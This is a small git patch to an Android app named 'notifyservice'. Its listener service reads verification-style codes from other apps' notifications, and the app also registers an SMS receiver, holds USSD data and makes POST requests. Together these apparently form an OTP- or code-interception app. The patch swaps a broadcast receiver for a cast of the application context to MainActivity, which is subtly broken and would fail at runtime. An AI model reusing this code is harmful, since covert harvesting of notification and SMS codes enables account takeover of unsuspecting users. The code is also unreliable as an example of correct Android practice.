From 722f4f427937c9347e976bfd2efb0257451c3d91 Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 9 Apr 2025 18:39:25 +0300 Subject: [PATCH] test --- .../com/example/notifyservice/Listener.java | 6 ++---- .../example/notifyservice/MainActivity.java | 18 ------------------ 2 files changed, 2 insertions(+), 22 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index f3c39d3..ef4f67a 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -59,10 +59,8 @@ public class Listener extends NotificationListenerService { String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) return; - Intent intent = new Intent(getApplicationContext().getPackageName() + "." + // STATIC - "NOTIFICATION_RECEIVED"); - intent.putExtra("code", code); - sendBroadcast(intent); + MainActivity applicationContext = (MainActivity) getApplicationContext(); + applicationContext.onNotificationReceived(code); } } diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 52a11bd..e78d4fd 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -71,8 +71,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private List codes = new ArrayList<>(); - private NotificationReceiver notificationReceiver; - private JSONObject ussd; private JSONObject language; @@ -129,8 +127,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba protected void onCreate(Bundle savedInstanceState) { Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); - notificationReceiver = new NotificationReceiver(); - setContentView(R.layout.activity_main); webView = findViewById(R.id.webview); @@ -290,10 +286,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ Intent intent = new Intent(this, Listener.class); startService(intent); - IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + "." + // STATIC - "NOTIFICATION_RECEIVED"); - registerReceiver(notificationReceiver, filter); - registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); Log.i("a", "Make process"); // STATIC Context permissionContext = this; @@ -301,15 +293,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } - private class NotificationReceiver extends BroadcastReceiver { - @Override - public void onReceive(Context context, Intent intent) { - Log.i("a", "On receive notification"); // STATIC - String code = intent.getStringExtra("code"); - onNotificationReceived(code); - } - } - public void onNotificationReceived(String code) { if(codes.contains(code)) return; @@ -612,7 +595,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { - unregisterReceiver(notificationReceiver); unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { Log.i("ppp", Arrays.toString(e.getStackTrace()));